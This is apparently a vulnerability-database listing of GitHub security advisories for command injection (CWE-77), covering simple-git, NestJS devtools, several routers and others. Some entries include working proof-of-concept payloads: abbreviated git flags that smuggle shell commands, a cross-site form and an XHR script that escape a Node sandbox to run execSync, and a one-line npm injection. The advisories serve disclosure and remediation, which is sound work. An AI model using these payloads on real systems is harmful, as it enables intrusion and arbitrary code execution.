CWE-77
Allowed-with-ReviewImproper Neutralization of Special Elements used in a Command ('Command Injection')
Abstraction: Class · Status: Draft
The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.
5839 vulnerabilities reference this CWE, most recent first.
GHSA-858H-WHJF-MVG5
Vulnerability from github – Published: 2026-10-05 23:47 – Updated: 2026-10-05 23:47simple-git's blockUnsafeOperationsPlugin blocks dangerous git options (--upload-pack/--receive-pack/--exec/...) unless the consumer opts in via unsafe:{allowUnsafePack:true}. Detection (@simple-git/argv-parser detectVulnerableFlags) matches the parsed flag NAME against literal-spelling patterns: /--(upload|receive)-pack/ (requires the literal '-pack') and the string '--exec'. But git accepts unambiguous prefix abbreviations of long options, and expandToken (token-expander.ts) returns the LITERAL token as flag.name (it uses the spec only for needsNext, never to canonicalize). So git push --receive-p=<cmd> parses with flag.name='--receive-p', which /--(upload|receive)-pack/ does NOT match, yet git expands --receive-p -> --receive-pack and runs (on a local/file remote, locally). The clone side is robust (its '--u' substring rule catches every --upload abbreviation); the push --receive- and --exe* abbreviations have no equivalent rule and slip through.
Proof of concept (latest: simple-git 3.36.0, @simple-git/argv-parser 1.1.1, default unsafe plugin ON):
Gate vulnerabilityCheck: 'push --receive-pack=touch...' -> BLOCKED; 'push --receive-pa=touch...' and 'push --receive-p=touch...' -> BYPASS (empty vulns); '--exec=' BLOCKED, '--exe=' BYPASS.
End-to-end via simpleGit().push():
CONTROL git.push(['../bare','HEAD:refs/heads/c','--receive-pack=touch /tmp/pwned_ctrl;']) -> throws GitPluginError 'Use of --upload-pack or --receive-pack is not permitted...'; no command runs.
BYPASS git.push(['../bare','HEAD:refs/heads/e2e','--receive-p=touch /tmp/pwned_e2e;']) -> NO GitPluginError; /tmp/pwned_e2e CREATED (git executed the injected command); only a later GitError surfaces.
Direct git confirms git push ../bare --receive-p='touch X;' HEAD:refs/heads/m and --exe='touch Y;' both execute on a local/path remote.
Impact: any app relying on simple-git's default unsafe-operations protection while passing attacker-influenced options/args into a git push (local/file remote, or attacker-influenced receive-pack target) can be made to execute arbitrary commands -- the exact protection CVE-2026-28291 provided, defeated by an abbreviated spelling. Same class/impact as GHSA-jcxm-m3jx-f287, on the push path.
Remediation: canonicalize git option abbreviations before matching (resolve to the canonical long name via the per-task flag spec in expandToken), or match on the option stem/prefix down to the shortest unambiguous form for push receive-pack/exec (mirroring the clone-side '--u' approach). Also audit --template and -c/config-write detection for the same abbreviation gap.
Credit: anir0y (independent security research).
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.36.0"
},
"package": {
"ecosystem": "npm",
"name": "simple-git"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-102827"
],
"database_specific": {
"cwe_ids": [
"CWE-77",
"CWE-88"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-05T23:47:58Z",
"nvd_published_at": "2026-09-29T19:17:25Z",
"severity": "HIGH"
},
"details": "simple-git\u0027s blockUnsafeOperationsPlugin blocks dangerous git options (--upload-pack/--receive-pack/--exec/...) unless the consumer opts in via unsafe:{allowUnsafePack:true}. Detection (@simple-git/argv-parser detectVulnerableFlags) matches the parsed flag NAME against literal-spelling patterns: /--(upload|receive)-pack/ (requires the literal \u0027-pack\u0027) and the string \u0027--exec\u0027. But git accepts unambiguous prefix abbreviations of long options, and expandToken (token-expander.ts) returns the LITERAL token as flag.name (it uses the spec only for needsNext, never to canonicalize). So `git push --receive-p=\u003ccmd\u003e` parses with flag.name=\u0027--receive-p\u0027, which /--(upload|receive)-pack/ does NOT match, yet git expands --receive-p -\u003e --receive-pack and runs \u003ccmd\u003e (on a local/file remote, locally). The clone side is robust (its \u0027--u\u0027 substring rule catches every --upload* abbreviation); the push --receive-* and --exe* abbreviations have no equivalent rule and slip through.\n\nProof of concept (latest: simple-git 3.36.0, @simple-git/argv-parser 1.1.1, default unsafe plugin ON):\nGate vulnerabilityCheck: \u0027push --receive-pack=touch...\u0027 -\u003e BLOCKED; \u0027push --receive-pa=touch...\u0027 and \u0027push --receive-p=touch...\u0027 -\u003e BYPASS (empty vulns); \u0027--exec=\u0027 BLOCKED, \u0027--exe=\u0027 BYPASS.\nEnd-to-end via simpleGit().push():\n CONTROL git.push([\u0027../bare\u0027,\u0027HEAD:refs/heads/c\u0027,\u0027--receive-pack=touch /tmp/pwned_ctrl;\u0027]) -\u003e throws GitPluginError \u0027Use of --upload-pack or --receive-pack is not permitted...\u0027; no command runs.\n BYPASS git.push([\u0027../bare\u0027,\u0027HEAD:refs/heads/e2e\u0027,\u0027--receive-p=touch /tmp/pwned_e2e;\u0027]) -\u003e NO GitPluginError; /tmp/pwned_e2e CREATED (git executed the injected command); only a later GitError surfaces.\nDirect git confirms `git push ../bare --receive-p=\u0027touch X;\u0027 HEAD:refs/heads/m` and `--exe=\u0027touch Y;\u0027` both execute on a local/path remote.\n\nImpact: any app relying on simple-git\u0027s default unsafe-operations protection while passing attacker-influenced options/args into a git push (local/file remote, or attacker-influenced receive-pack target) can be made to execute arbitrary commands -- the exact protection CVE-2026-28291 provided, defeated by an abbreviated spelling. Same class/impact as GHSA-jcxm-m3jx-f287, on the push path.\n\nRemediation: canonicalize git option abbreviations before matching (resolve to the canonical long name via the per-task flag spec in expandToken), or match on the option stem/prefix down to the shortest unambiguous form for push receive-pack/exec (mirroring the clone-side \u0027--u\u0027 approach). Also audit --template and -c/config-write detection for the same abbreviation gap.\n\nCredit: anir0y (independent security research).",
"id": "GHSA-858h-whjf-mvg5",
"modified": "2026-10-05T23:47:58Z",
"published": "2026-10-05T23:47:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/steveukx/git-js/security/advisories/GHSA-858h-whjf-mvg5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-102827"
},
{
"type": "WEB",
"url": "https://github.com/steveukx/git-js/pull/1193"
},
{
"type": "WEB",
"url": "https://github.com/steveukx/git-js/commit/98864c678444d9336357c844efa4fd5a7984c0d7"
},
{
"type": "PACKAGE",
"url": "https://github.com/steveukx/git-js"
},
{
"type": "WEB",
"url": "https://github.com/steveukx/git-js/releases/tag/simple-git@4.0.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "simple-git: unsafe-operations plugin bypass via git long-option abbreviation (--receive-p/--exe) -\u003e command execution (residual of CVE-2026-28291)"
}
GHSA-85CG-CMQ5-QJM7
Vulnerability from github – Published: 2025-08-01 18:43 – Updated: 2025-08-04 15:28Summary
A critical Remote Code Execution (RCE) vulnerability was discovered in the @nestjs/devtools-integration package. When enabled, the package exposes a local development HTTP server with an API endpoint that uses an unsafe JavaScript sandbox (safe-eval-like implementation). Due to improper sandboxing and missing cross-origin protections, any malicious website visited by a developer can execute arbitrary code on their local machine.
A full blog post about how this vulnerability was uncovered can be found on Socket's blog.
Details
The @nestjs/devtools-integration package adds HTTP endpoints to a locally running NestJS development server. One of these endpoints, /inspector/graph/interact, accepts JSON input containing a code field and executes the provided code in a Node.js vm.runInNewContext sandbox.
Key issues:
1. Unsafe Sandbox: The sandbox implementation closely resembles the abandoned safe-eval library. The Node.js vm module is explicitly documented as not providing a security mechanism for executing untrusted code. Numerous known sandbox escape techniques allow arbitrary code execution.
2. Lack of Proper CORS/Origin Checking: The server sets Access-Control-Allow-Origin to a fixed domain (https://devtools.nestjs.com) but does not validate the request's Origin or Content-Type. Attackers can craft POST requests with text/plain content type using HTML forms or simple XHR requests, bypassing CORS preflight checks.
By chaining these issues, a malicious website can trigger the vulnerable endpoint and achieve arbitrary code execution on a developer's machine running the NestJS devtools integration.
Relevant code from the package:
// Vulnerable request handler
handleGraphInteraction(req, res) {
if (req.method === 'POST') {
let body = '';
req.on('data', data => { body += data; });
req.on('end', async () => {
res.writeHead(200, { 'Content-Type': 'application/plain' });
const json = JSON.parse(body);
await this.sandboxedCodeExecutor.execute(json.code, res);
});
}
}
// Vulnerable sandbox implementation
runInNewContext(code, context, opts) {
const sandbox = {};
const resultKey = 'SAFE_EVAL_' + Math.floor(Math.random() * 1000000);
sandbox[resultKey] = {};
const ctx = `
(function() {
Function = undefined;
const keys = Object.getOwnPropertyNames(this).concat(['constructor']);
keys.forEach((key) => {
const item = this[key];
if (!item || typeof item.constructor !== 'function') return;
this[key].constructor = undefined;
});
})();
`;
code = ctx + resultKey + '=' + code;
if (context) {
Object.keys(context).forEach(key => { sandbox[key] = context[key]; });
}
vm.runInNewContext(code, sandbox, opts);
return sandbox[resultKey];
}
Because the sandbox can be trivially escaped, and the endpoint accepts cross-origin POST requests without proper checks, this vulnerability allows arbitrary code execution on the developer's machine.
PoC
Create a minimal NestJS project and enable @nestjs/devtools-integration in development mode:
npm install @nestjs/devtools-integration
npm run start:dev
Use the following HTML form on any malicious website:
<form action="http://localhost:8000/inspector/graph/interact" method="POST" enctype="text/plain">
<input name="{"code":"(function(){try{propertyIsEnumerable.call()}catch(pp){pp.constructor.constructor('return process')().mainModule.require('child_process').execSync('open /System/Applications/Calculator.app')}})()","bogus":"" value=""}" />
<input type="submit" value="Exploit" />
</form>
When the developer visits the page and submits the form, the local NestJS devtools server executes the injected code, in this case launching the Calculator app on macOS.
Alternatively, the same payload can be sent via a simple XHR request with text/plain content type:
<button onclick="sendPopCalculatorXHR()">Send pop calculator XHR Request</button>
<script>
function sendPopCalculatorXHR() {
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://localhost:8000/inspector/graph/interact");
xhr.withCredentials = false;
xhr.setRequestHeader("Content-Type", "text/plain");
xhr.send('{"code":"(function() { try{ propertyIsEnumerable.call(); } catch(pp){ pp.constructor.constructor(\'return process\')().mainModule.require(\'child_process\').execSync(\'open /System/Applications/Calculator.app\'); } })()"}');
}
</script>
Full POC
Minimal reproducer: https://github.com/JLLeitschuh/nestjs-typescript-starter-w-devtools-integration
Steps to reproduce:
- Clone Repo https://github.com/JLLeitschuh/nestjs-typescript-starter-w-devtools-integration
- Run NPM install
- Run
npm run start:dev - Open up the POC site here: https://jlleitschuh.org/nestjs-devtools-integration-rce-poc/
- Try out any of the POC payloads.
Source for the nestjs-devtools-integration-rce-poc: https://github.com/JLLeitschuh/nestjs-devtools-integration-rce-poc
Impact
This vulnerability is a Remote Code Execution (RCE) affecting developers running a NestJS project with @nestjs/devtools-integration enabled. An attacker can exploit it by luring a developer to visit a malicious website, which then sends a crafted POST request to the local devtools HTTP server. This results in arbitrary code execution on the developer’s machine.
- Severity: Critical
- Attack Complexity: Low (requires only that the victim visits a malicious webpage, or be served malvertising)
- Privileges Required: None
- User Interaction: Minimal (no clicks required)
Fix
The maintainers remediated this issue by:
- Replacing the unsafe sandbox implementation with a safer alternative (@nyariv/sandboxjs).
- Adding origin and content-type validation to incoming requests.
- Introducing authentication for the devtools connection.
Users should upgrade to the patched version of @nestjs/devtools-integration as soon as possible.
Credit
This vulnerability was uncovered by @JLLeitschuh on behalf of Socket.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.2.0"
},
"package": {
"ecosystem": "npm",
"name": "@nestjs/devtools-integration"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.2.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-54782"
],
"database_specific": {
"cwe_ids": [
"CWE-352",
"CWE-77",
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2025-08-01T18:43:13Z",
"nvd_published_at": "2025-08-02T00:15:25Z",
"severity": "CRITICAL"
},
"details": "## Summary\nA critical Remote Code Execution (RCE) vulnerability was discovered in the `@nestjs/devtools-integration` package. When enabled, the package exposes a local development HTTP server with an API endpoint that uses an unsafe JavaScript sandbox (`safe-eval`-like implementation). Due to improper sandboxing and missing cross-origin protections, any malicious website visited by a developer can execute arbitrary code on their local machine.\n\nA full blog post about how this vulnerability was uncovered can be found on [Socket\u0027s blog](https://socket.dev/blog/nestjs-rce-vuln).\n\n## Details\nThe `@nestjs/devtools-integration` package adds HTTP endpoints to a locally running NestJS development server. One of these endpoints, `/inspector/graph/interact`, accepts JSON input containing a `code` field and executes the provided code in a Node.js `vm.runInNewContext` sandbox.\n\nKey issues:\n1. **Unsafe Sandbox:** The sandbox implementation closely resembles the abandoned `safe-eval` library. The Node.js `vm` module is [explicitly documented](https://nodejs.org/api/vm.html) as not providing a security mechanism for executing untrusted code. Numerous known sandbox escape techniques allow arbitrary code execution.\n2. **Lack of Proper CORS/Origin Checking:** The server sets `Access-Control-Allow-Origin` to a fixed domain (`https://devtools.nestjs.com`) but does not validate the request\u0027s `Origin` or `Content-Type`. Attackers can craft POST requests with `text/plain` content type using HTML forms or simple XHR requests, bypassing CORS preflight checks.\n\nBy chaining these issues, a malicious website can trigger the vulnerable endpoint and achieve arbitrary code execution on a developer\u0027s machine running the NestJS devtools integration.\n\nRelevant code from the package:\n\n```js\n// Vulnerable request handler\nhandleGraphInteraction(req, res) {\n if (req.method === \u0027POST\u0027) {\n let body = \u0027\u0027;\n req.on(\u0027data\u0027, data =\u003e { body += data; });\n req.on(\u0027end\u0027, async () =\u003e {\n res.writeHead(200, { \u0027Content-Type\u0027: \u0027application/plain\u0027 });\n const json = JSON.parse(body);\n await this.sandboxedCodeExecutor.execute(json.code, res);\n });\n }\n}\n\n// Vulnerable sandbox implementation\nrunInNewContext(code, context, opts) {\n const sandbox = {};\n const resultKey = \u0027SAFE_EVAL_\u0027 + Math.floor(Math.random() * 1000000);\n sandbox[resultKey] = {};\n const ctx = `\n (function() {\n Function = undefined;\n const keys = Object.getOwnPropertyNames(this).concat([\u0027constructor\u0027]);\n keys.forEach((key) =\u003e {\n const item = this[key];\n if (!item || typeof item.constructor !== \u0027function\u0027) return;\n this[key].constructor = undefined;\n });\n })();\n `;\n code = ctx + resultKey + \u0027=\u0027 + code;\n if (context) {\n Object.keys(context).forEach(key =\u003e { sandbox[key] = context[key]; });\n }\n vm.runInNewContext(code, sandbox, opts);\n return sandbox[resultKey];\n}\n```\n\nBecause the sandbox can be trivially escaped, and the endpoint accepts cross-origin POST requests without proper checks, this vulnerability allows arbitrary code execution on the developer\u0027s machine.\n\n## PoC\nCreate a minimal NestJS project and enable @nestjs/devtools-integration in development mode:\n\n```\nnpm install @nestjs/devtools-integration\nnpm run start:dev\n```\n\nUse the following HTML form on any malicious website:\n\n\n```html\n\u003cform action=\"http://localhost:8000/inspector/graph/interact\" method=\"POST\" enctype=\"text/plain\"\u003e\n \u003cinput name=\"{\u0026quot;code\u0026quot;:\u0026quot;(function(){try{propertyIsEnumerable.call()}catch(pp){pp.constructor.constructor(\u0027return process\u0027)().mainModule.require(\u0027child_process\u0027).execSync(\u0027open /System/Applications/Calculator.app\u0027)}})()\u0026quot;,\u0026quot;bogus\u0026quot;:\u0026quot;\" value=\"\u0026quot;}\" /\u003e\n \u003cinput type=\"submit\" value=\"Exploit\" /\u003e\n\u003c/form\u003e\n```\n\nWhen the developer visits the page and submits the form, the local NestJS devtools server executes the injected code, in this case launching the Calculator app on macOS.\n\nAlternatively, the same payload can be sent via a simple XHR request with text/plain content type:\n\n```html\n\u003cbutton onclick=\"sendPopCalculatorXHR()\"\u003eSend pop calculator XHR Request\u003c/button\u003e\n\u003cscript\u003e\n function sendPopCalculatorXHR() {\n var xhr = new XMLHttpRequest();\n xhr.open(\"POST\", \"http://localhost:8000/inspector/graph/interact\");\n xhr.withCredentials = false;\n xhr.setRequestHeader(\"Content-Type\", \"text/plain\");\n xhr.send(\u0027{\"code\":\"(function() { try{ propertyIsEnumerable.call(); } catch(pp){ pp.constructor.constructor(\\\u0027return process\\\u0027)().mainModule.require(\\\u0027child_process\\\u0027).execSync(\\\u0027open /System/Applications/Calculator.app\\\u0027); } })()\"}\u0027);\n }\n\u003c/script\u003e\n```\n\n### Full POC\n\nMinimal reproducer: https://github.com/JLLeitschuh/nestjs-typescript-starter-w-devtools-integration\n\nSteps to reproduce:\n\n1. Clone Repo https://github.com/JLLeitschuh/nestjs-typescript-starter-w-devtools-integration\n2. Run NPM install\n3. Run `npm run start:dev`\n4. Open up the POC site here: https://jlleitschuh.org/nestjs-devtools-integration-rce-poc/\n5. Try out any of the POC payloads.\n\nSource for the `nestjs-devtools-integration-rce-poc`: https://github.com/JLLeitschuh/nestjs-devtools-integration-rce-poc\n\n## Impact\n\nThis vulnerability is a Remote Code Execution (RCE) affecting developers running a NestJS project with `@nestjs/devtools-integration` enabled. An attacker can exploit it by luring a developer to visit a malicious website, which then sends a crafted POST request to the local devtools HTTP server. This results in arbitrary code execution on the developer\u2019s machine.\n\n- Severity: Critical\n- Attack Complexity: Low (requires only that the victim visits a malicious webpage, or be served malvertising)\n- Privileges Required: None\n- User Interaction: Minimal (no clicks required)\n\n## Fix\nThe maintainers remediated this issue by:\n\n - Replacing the unsafe sandbox implementation with a safer alternative (@nyariv/sandboxjs).\n - Adding origin and content-type validation to incoming requests.\n - Introducing authentication for the devtools connection.\n\nUsers should upgrade to the patched version of @nestjs/devtools-integration as soon as possible.\n\n## Credit\n\nThis vulnerability was uncovered by @JLLeitschuh on behalf of [Socket](https://socket.dev/).",
"id": "GHSA-85cg-cmq5-qjm7",
"modified": "2025-08-04T15:28:48Z",
"published": "2025-08-01T18:43:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nestjs/nest/security/advisories/GHSA-85cg-cmq5-qjm7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54782"
},
{
"type": "WEB",
"url": "https://github.com/JLLeitschuh/nestjs-devtools-integration-rce-poc"
},
{
"type": "WEB",
"url": "https://github.com/JLLeitschuh/nestjs-typescript-starter-w-devtools-integration"
},
{
"type": "PACKAGE",
"url": "https://github.com/nestjs/nest"
},
{
"type": "WEB",
"url": "https://jlleitschuh.org/nestjs-devtools-integration-rce-poc"
},
{
"type": "WEB",
"url": "https://nodejs.org/api/vm.html"
},
{
"type": "WEB",
"url": "https://socket.dev/blog/nestjs-rce-vuln"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": "@nestjs/devtools-integration: CSRF to Sandbox Escape Allows for RCE against JS Developers"
}
GHSA-85G8-3QWJ-FMPV
Vulnerability from github – Published: 2026-05-26 15:32 – Updated: 2026-05-26 15:32A vulnerability has been found in Totolink N300RH 6.1c.1353_B20190305. Affected is the function setPasswordCfg of the file /cgi-bin/cstecgi.cgi of the component Web Management Interface. Such manipulation of the argument admpass leads to os command injection. The attack can be executed remotely. The exploit has been disclosed to the public and may be used.
{
"affected": [],
"aliases": [
"CVE-2026-9543"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-26T14:16:46Z",
"severity": "HIGH"
},
"details": "A vulnerability has been found in Totolink N300RH 6.1c.1353_B20190305. Affected is the function setPasswordCfg of the file /cgi-bin/cstecgi.cgi of the component Web Management Interface. Such manipulation of the argument admpass leads to os command injection. The attack can be executed remotely. The exploit has been disclosed to the public and may be used.",
"id": "GHSA-85g8-3qwj-fmpv",
"modified": "2026-05-26T15:32:10Z",
"published": "2026-05-26T15:32:10Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-9543"
},
{
"type": "WEB",
"url": "https://github.com/A1ester/TOTOLINK-N300RH-Command-Injection"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/815068"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/365607"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/365607/cti"
},
{
"type": "WEB",
"url": "https://www.totolink.net"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-85WM-RQRM-4W6X
Vulnerability from github – Published: 2024-11-25 06:34 – Updated: 2024-11-25 06:34A vulnerability classified as critical has been found in EnGenius ENH1350EXT, ENS500-AC and ENS620EXT up to 20241118. This affects an unknown part of the file /admin/network/diag_traceroute6. The manipulation of the argument diag_traceroute6 leads to command injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2024-11654"
],
"database_specific": {
"cwe_ids": [
"CWE-74",
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-25T04:15:05Z",
"severity": "MODERATE"
},
"details": "A vulnerability classified as critical has been found in EnGenius ENH1350EXT, ENS500-AC and ENS620EXT up to 20241118. This affects an unknown part of the file /admin/network/diag_traceroute6. The manipulation of the argument diag_traceroute6 leads to command injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-85wm-rqrm-4w6x",
"modified": "2024-11-25T06:34:57Z",
"published": "2024-11-25T06:34:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-11654"
},
{
"type": "WEB",
"url": "https://k9u7kv33ub.feishu.cn/wiki/YrKfwHqLjijPeYkMTQfcdhrBnyg?from=from_copylink"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.285975"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.285975"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.446637"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-8624-26Q6-28M7
Vulnerability from github – Published: 2022-05-17 00:20 – Updated: 2022-05-17 00:20The Net::Ping::External extension through 0.15 for Perl does not properly sanitize arguments (e.g., invalid hostnames) containing shell metacharacters before use of backticks in External.pm, allowing for shell command injection and arbitrary command execution if untrusted input is used.
{
"affected": [],
"aliases": [
"CVE-2008-7319"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-11-07T21:29:00Z",
"severity": "CRITICAL"
},
"details": "The Net::Ping::External extension through 0.15 for Perl does not properly sanitize arguments (e.g., invalid hostnames) containing shell metacharacters before use of backticks in External.pm, allowing for shell command injection and arbitrary command execution if untrusted input is used.",
"id": "GHSA-8624-26q6-28m7",
"modified": "2022-05-17T00:20:07Z",
"published": "2022-05-17T00:20:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-7319"
},
{
"type": "WEB",
"url": "https://bugs.debian.org/881097"
},
{
"type": "WEB",
"url": "https://rt.cpan.org/Public/Bug/Display.html?id=33230"
},
{
"type": "WEB",
"url": "http://matthias.sdfeu.org/devel/net-ping-external-cmd-injection.patch"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2017/11/07/4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-8638-2V26-7H4J
Vulnerability from github – Published: 2023-07-13 03:30 – Updated: 2024-04-04 06:06ELECOM wireless LAN routers WRC-1167GHBK-S v1.03 and earlier, and WRC-1167GEBK-S v1.03 and earlier allow a network-adjacent authenticated attacker to execute an arbitrary command by sending a specially crafted request to the web management page.
{
"affected": [],
"aliases": [
"CVE-2023-37568"
],
"database_specific": {
"cwe_ids": [
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-07-13T02:15:09Z",
"severity": "HIGH"
},
"details": "ELECOM wireless LAN routers WRC-1167GHBK-S v1.03 and earlier, and WRC-1167GEBK-S v1.03 and earlier allow a network-adjacent authenticated attacker to execute an arbitrary command by sending a specially crafted request to the web management page.",
"id": "GHSA-8638-2v26-7h4j",
"modified": "2024-04-04T06:06:00Z",
"published": "2023-07-13T03:30:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-37568"
},
{
"type": "WEB",
"url": "https://jvn.jp/en/vu/JVNVU91850798"
},
{
"type": "WEB",
"url": "https://www.elecom.co.jp/news/security/20230711-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-863P-RW7X-45HF
Vulnerability from github – Published: 2022-05-24 17:45 – Updated: 2022-05-24 17:45A remote execution of arbitrary commands vulnerability was discovered in some Aruba Instant Access Point (IAP) products in version(s): Aruba Instant 6.5.x: 6.5.4.17 and below; Aruba Instant 8.3.x: 8.3.0.13 and below; Aruba Instant 8.5.x: 8.5.0.10 and below; Aruba Instant 8.6.x: 8.6.0.5 and below; Aruba Instant 8.7.x: 8.7.0.0 and below. Aruba has released patches for Aruba Instant that address this security vulnerability.
{
"affected": [],
"aliases": [
"CVE-2020-24635"
],
"database_specific": {
"cwe_ids": [
"CWE-77",
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-03-29T20:15:00Z",
"severity": "HIGH"
},
"details": "A remote execution of arbitrary commands vulnerability was discovered in some Aruba Instant Access Point (IAP) products in version(s): Aruba Instant 6.5.x: 6.5.4.17 and below; Aruba Instant 8.3.x: 8.3.0.13 and below; Aruba Instant 8.5.x: 8.5.0.10 and below; Aruba Instant 8.6.x: 8.6.0.5 and below; Aruba Instant 8.7.x: 8.7.0.0 and below. Aruba has released patches for Aruba Instant that address this security vulnerability.",
"id": "GHSA-863p-rw7x-45hf",
"modified": "2022-05-24T17:45:36Z",
"published": "2022-05-24T17:45:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-24635"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/pdf/ssa-723417.pdf"
},
{
"type": "WEB",
"url": "https://www.arubanetworks.com/assets/alert/ARUBA-PSA-2021-007.txt"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-866W-MHV5-886H
Vulnerability from github – Published: 2023-08-22 21:30 – Updated: 2024-04-04 07:09?A command injection vulnerability exists in Trane XL824, XL850, XL1050, and Pivot thermostats allowing an attacker to execute arbitrary commands as root using a specially crafted filename. The vulnerability requires physical access to the device via a USB stick.
{
"affected": [],
"aliases": [
"CVE-2023-4212"
],
"database_specific": {
"cwe_ids": [
"CWE-74",
"CWE-77"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-08-22T19:16:41Z",
"severity": "MODERATE"
},
"details": "\n?A command injection vulnerability exists in Trane XL824, XL850, XL1050, and Pivot thermostats allowing an attacker to execute arbitrary commands as root using a specially crafted filename. The vulnerability requires physical access to the device via a USB stick.\n\n",
"id": "GHSA-866w-mhv5-886h",
"modified": "2024-04-04T07:09:23Z",
"published": "2023-08-22T21:30:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-4212"
},
{
"type": "WEB",
"url": "https://https://www.cisa.gov/news-events/ics-advisories/icsa-23-234-02"
},
{
"type": "WEB",
"url": "https://hub.tranetechnologies.com/docs/DOC-216377"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-advisories/icsa-23-234-02"
},
{
"type": "WEB",
"url": "https://www.trane.com/commercial/north-america/us/en/contact-us/locate-sales-offices.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-8695-FR6H-9FQ8
Vulnerability from github – Published: 2021-04-13 15:19 – Updated: 2023-09-11 16:28All versions of package nuance-gulp-build-common are vulnerable to Command Injection via the index.js file.
PoC:
var a = require("nuance-gulp-build-common")
a.run("touch JHU")
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "nuance-gulp-build-common"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.0.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-28430"
],
"database_specific": {
"cwe_ids": [
"CWE-77",
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2021-03-25T23:50:03Z",
